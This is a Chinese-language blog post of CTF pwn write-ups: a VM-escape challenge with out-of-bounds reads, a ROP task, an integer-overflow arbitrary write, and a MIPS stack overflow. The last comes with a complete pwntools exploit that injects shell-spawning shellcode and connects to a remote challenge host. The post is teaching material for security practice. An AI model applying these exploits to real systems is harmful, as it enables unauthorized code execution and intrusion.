登录后台

页面导航

本文编写于 127 天前,最后修改于 124 天前,其中某些信息可能已经过时。

[OGeek2019 Final]OVM

一个虚拟机的pwn题

参考链接:虚拟指令集Pwn入门

[参考链接:[OGeek2019 Final]OVM(简易虚拟机逃逸)](https://blog.csdn.net/seaaseesa/article/details/105862737)

程序分析

我一段一段分析

pc是指令的起始地址,可以理解为程序基址

sp是栈指针

reg是一个_DWORD类型(int类型)的数据数组,大小是16,即reg大小为0x40

running=0标志代码的结束

memory是内存空间,存放代码,单字节读入一条条指令

重点在后面的执行代码的部分

HIBYTE()得到一个16bit数最高(最左边)那个字节,v4,v3,v2是取偏移,相当于函数参数

举个例子就懂了:0x12345678中,0x12是指令,4是第一个参数(v4),6是第二个参数(v3),8是第三个参数(v2)

image.png

前面的几个功能应该不用说,后面这几个才是重点

这种vmpwn的题目漏洞很多都是越界读写

漏洞利用

思路:

1.通过越界读,将libc地址读到reg数组里,程序会在退出execute函数的时候打印reg数组

2.在comment[0]的位置布置好free_hook表

3.最后一次读的时候写入system函数或onegadget地址

roarctf_2019_easyrop

原writeup

这两个gadget很有意思,在很多题里面见到了,通过这道题理解更深了

hfctf_2020_sucurebox

这题漏洞真不好找。。

cmp指令在比较时会强制转为int类型,存在整数溢出,此时size就可以为很大,而malloc一个很大的块会返回0,这里没有检查malloc的返回值

而enc函数里是可以指定任意offset和size的,这样就造成了任意地址写

PWN——那些年坑过我们的数据类型

exp可参考:hfctf_2020_sucurebox(0地址引用)

安洵杯2019 pwn5

先checksec一下,32位小端mips,没有保护

mips1: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped

用ghidra看伪代码,发现是一个简单的栈溢出


vuln函数可以read 0x200的字符
在linux上运行

使用gdb调试

和普通的pwn题目差不多,需要简单学一些mips的知识
出题人用泄露libc的方式获取的shell,有位师傅直接用shellcode

#coding:utf8
from pwn import *
import time
#context.binary = "./mips1"
binary = './mips1'

if sys.argv[1] == "r":
    p = remote("node3.buuoj.cn",25320)
elif sys.argv[1] == "l":
    p = process(["qemu-mipsel", "-L", "/home/at0de/buildroot-2019.02/output/target/", binary])
else:
    p = process(["qemu-mipsel", "-g", "1235", "-L", "/home/at0de/buildroot-2019.02/output/target/", binary])

elf = ELF("./mips1")
libc = ELF("/home/at0de/buildroot-2019.02/output/target/lib/ld-uClibc.so.0")
context.log_level = "debug"
bss = 0x410B70

p.sendafter("What's your name:","at0de")

p.recvuntil('at0de')
payload = ('a'*0x20).encode()
payload += p32(bss + 0x200 - 0x40 + 0x28)
payload += p32(0x4007E0)
shellcode =asm(shellcraft.mips.linux.sh(),arch='mips')
p.send(payload)

#gdb.attach(p)
sleep(1)
payload = ('a'*0x24).encode()
payload += p32(bss + 0x200 + 0x28)
payload += shellcode
p.sendline(payload)

p.interactive()

参考链接:https://blog.csdn.net/seaaseesa/article/details/105281585